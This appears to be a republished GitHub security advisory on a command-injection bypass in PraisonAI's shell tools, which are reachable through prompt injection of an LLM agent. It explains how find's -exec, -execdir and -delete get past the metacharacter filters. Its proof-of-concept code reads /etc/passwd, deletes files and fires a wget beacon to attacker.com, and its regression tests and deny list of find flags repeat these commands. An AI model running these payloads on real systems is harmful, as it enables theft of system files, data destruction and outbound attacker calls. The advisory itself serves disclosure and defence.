GHSA-cv3g-hj65-pcfh: OS Command Injection

Published Oct 8, 2026
·
Updated

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters ( ;|&><$()${} ) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).

Details

Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.

However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):

find /path -exec <command> {} +

The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.

Affected components (4 implementations, same gap):

| # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools shell() | src/praisonai-ts/src/tools/utility-tools.ts:255 | find in safeCommands allowlist | | 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 | find absent from DEFAULTBLOCKEDCOMMANDS | | 3 | Python safeshell | src/praisonai/praisonai/cli/features/safeshell.py:22-58 | find absent from BANNEDCOMMANDS, present in SAFECOMMANDS | | 4 | Python sandboxexecutor | src/praisonai/praisonai/cli/features/sandboxexecutor.py:87-91 | find absent from blockedcommands |

Bypass analysis:

| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + | Result | |---|---|---| | Metachar regex /[;|&\><]/ | {, }, + are not in regex | PASS | | Regex /\$\([^)]\)/ | No $(...) | PASS | | safeCommands.includes('find') | find IS in allowlist | PASS | | SandboxExecutor blocked paths | normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) | PASS | | spawn('find', [...], {shell:false}) | find interprets -execdir internally | BYPASS |

The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.

Preconditions:

| Precondition | How attacker obtains | Default? | |---|---|---| | Access to shell() or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | find binary on target | Standard Unix utility, present on Linux/macOS | Y | | find in allowlist / absent from blocklist | Default configuration in each implementation | Y |

PoC

1. Data exfiltration via -execdir (utility-tools.ts)

javascript const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() { // Control: direct 'wget' is rejected (not in safeCommands) const control = await shell('wget http://example.com'); console.log('[CONTROL] rejected:', !control.success); // true

// Bypass: find -execdir reads /etc/passwd via find's built-in action const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +'); console.log('[BYPASS]:', bypass.success); // true console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ... } poc();

Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.

2. File deletion

javascript await shell('find /app/uploads -name ".bak" -delete'); // -delete is a find built-in — clean exit 0, files deleted

3. Non-allowlisted command (side-effect based)

javascript await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +'); // HTTP request fires as side effect before find returns non-zero

4. Python safeshell

python from praisonai.cli.features.safeshell import safeexecute

result = safeexecute("find /etc -name passwd -maxdepth 1 -execdir cat {} +") print(result.stdout) # root:x:0:0:root:/root:/bin/bash ...

Impact

An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:

- Blocked file read: -execdir reads files in DEFAULTBLOCKEDPATHS by splitting the path across arguments (verified: exit 0, data returned) - File deletion: -delete destroys files without metacharacters (verified: clean exit 0) - Non-allowlisted command execution: -exec runs commands not in safeCommands (side effect fires regardless of exit code)

Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.

Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.

Suggested fix

Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.

Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.

Regression tests: typescript test('rejects find -exec', async () => { expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false); }); test('rejects find -execdir', async () => { expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false); }); test('rejects find -delete', async () => { expect((await shell('find /app -name ".bak" -delete')).success).toBe(false); });

References

- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8) - GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High) - Fix commits: 2adfe7e, 2f9677a (2026-06-13)

Affected Software

1 affected componentFixes available
pip/praisonai<=4.6.77
4.6.78

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai to a version that resolves this vulnerability.

    Fixed in 4.6.78
  2. Configuration

    Apply the fix across all four implementations: remove find from each safe/allowed command list; if find must remain, parse its arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, and -okdir.

    PraisonAI TypeScript utility-tools shell(), TypeScript SandboxExecutor, Python safe_shell, and Python sandbox_executor find command handling = Remove find from safe/allowed command lists, or reject find flags -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, and -okdir

Event History

Oct 8, 2026
Advisory Published
via GitHub·10:00 PM
Data Sourced
via GitHub·10:00 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What level of access does an attacker need to exploit this issue?

The supplied vector indicates network-reachable exploitation with low privileges required and no user interaction. The available data does not identify the specific application entry point that supplies the command.

2

Why does disabling shell execution not prevent exploitation?

The execution actions are interpreted by find itself rather than by a shell. An attacker can use find's built-in -exec or related actions to run programs even when shell metacharacters are blocked and spawn or subprocess is called with shell disabled.

3

What command patterns should be treated as dangerous?

find arguments containing -exec, -execdir, -delete, -ok, or -okdir are the relevant built-in actions. In particular, -exec can use the + batch terminator rather than the blocked semicolon terminator.

4

How can we identify whether an execution path is exposed?

Review command-validation paths that approve the first command token, allow find, and then pass remaining tokens as arguments to spawn() or subprocess.Popen() with shell disabled. The advisory states that this pattern exists in four parallel implementations.

5

What is a targeted temporary mitigation if a full update is not available?

Remove find from the permitted command allowlist, or reject its built-in execution and deletion actions, including -exec, -execdir, -delete, -ok, and -okdir. Blocking shell metacharacters alone is insufficient.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203